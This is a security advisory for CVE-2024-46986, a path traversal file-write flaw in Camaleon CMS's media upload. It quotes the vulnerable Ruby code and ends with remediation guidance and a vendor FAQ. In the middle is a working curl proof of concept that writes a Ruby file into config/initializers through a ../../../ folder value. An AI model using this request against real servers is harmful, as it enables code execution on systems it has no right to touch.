CVE-2024-46986

An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application.

Once a user upload is started via the upload method, the file_upload and the folder parameter

def upload(settings = {})
  params[:dimension] = nil if params[:skip_auto_crop].present?
  f = { error: 'File not found.' }
  if params[:file_upload].present?
    f = upload_file(params[:file_upload],
                    { folder: params[:folder], dimension: params['dimension'], formats: params[:formats], versions: params[:versions],
                      thumb_size: params[:thumb_size] }.merge(settings))
  end
  [..]
end

are passed to the upload_file method. Inside that method the given settings are merged with some presets. The file format is checked against the formats settings we can override with the formats parameters.

# formats validations
  return { error: "#{ct('file_format_error')} (#{settings[:formats]})" } unless cama_uploader.class.validate_file_format(
    uploaded_io.path, settings[:formats]
 )

Our given folder is then passed unchecked to the Cama_uploader:

key = File.join(settings[:folder], settings[:filename]).to_s.cama_fix_slash
res = cama_uploader.add_file(settings[:uploaded_io], key, { same_name: settings[:same_name] })

In the add_file method of CamaleonCmsLocalUploader this key argument containing the unchecked path is then used to write the file to the file system:

def add_file(uploaded_io_or_file_path, key, args = {})
  [..]
  upload_io = uploaded_io_or_file_path.is_a?(String) ? File.open(uploaded_io_or_file_path) : uploaded_io_or_file_path
  File.open(File.join(@root_folder, key), 'wb') { |file| file.write(upload_io.read) }
  [..]
end

Proof of concept
Precondition: A valid account of a registered user is required. (The values for auth_token and _cms_session need to be replaced with authenticated values in the curl command below)

curl --path-as-is -i -s -k -X $'POST'
-H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga' -H $'Accept: /' -H $'Connection: keep-alive'
-b $'auth_token=[..]; _cms_session=[..]'
--data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name="file_upload"; filename="test.rb"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs "================================="\x0aputs "================================="\x0aputs "= COMPROMISED ="\x0aputs "================================="\x0aputs "================================="\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name="folder"\x0d\x0a\x0d\x0a../../../config/initializers/\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name="skip_auto_crop"\x0d\x0a\x0d\x0atrue\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga--\x0d\x0a'
$'https:///admin/media/upload?actions=false'
Note that the upload form field formats was removed so that Camaleon CMS accepts any file. The folder was set to ../../../config/initializers/so that following Ruby script is written into the initializers folder of the Rails web app:

puts "================================="
puts "================================="
puts "= COMPROMISED ="
puts "================================="
puts "================================="
Once Camaleon CMS is restarted following output will be visible in the log:

=================================
Impact
This issue may lead up to Remote Code Execution (RCE) via arbitrary file write.

Remediation
Normalize file paths constructed from untrusted user input before using them and check that the resulting path is inside the targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths.

See also:

CodeQL: Uncontrolled data used in path expression
OWASP: Path Traversal

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2024-46986 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.8.1); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2024-46986? CVE-2024-46986 is a high-severity path traversal vulnerability in camaleon_cms (rubygems), affecting versions >= 2.8.0, < 2.8.1. It is fixed in 2.8.1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2024-46986? CVE-2024-46986 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of camaleon_cms are affected by CVE-2024-46986? camaleon_cms (rubygems) versions >= 2.8.0, < 2.8.1 is affected.
4. Is there a fix for CVE-2024-46986? Yes. CVE-2024-46986 is fixed in 2.8.1. Upgrade to this version or later.
5. Is CVE-2024-46986 exploitable, and should I be worried? Whether CVE-2024-46986 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-46986 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-46986? Upgrade camaleon_cms to 2.8.1 or later.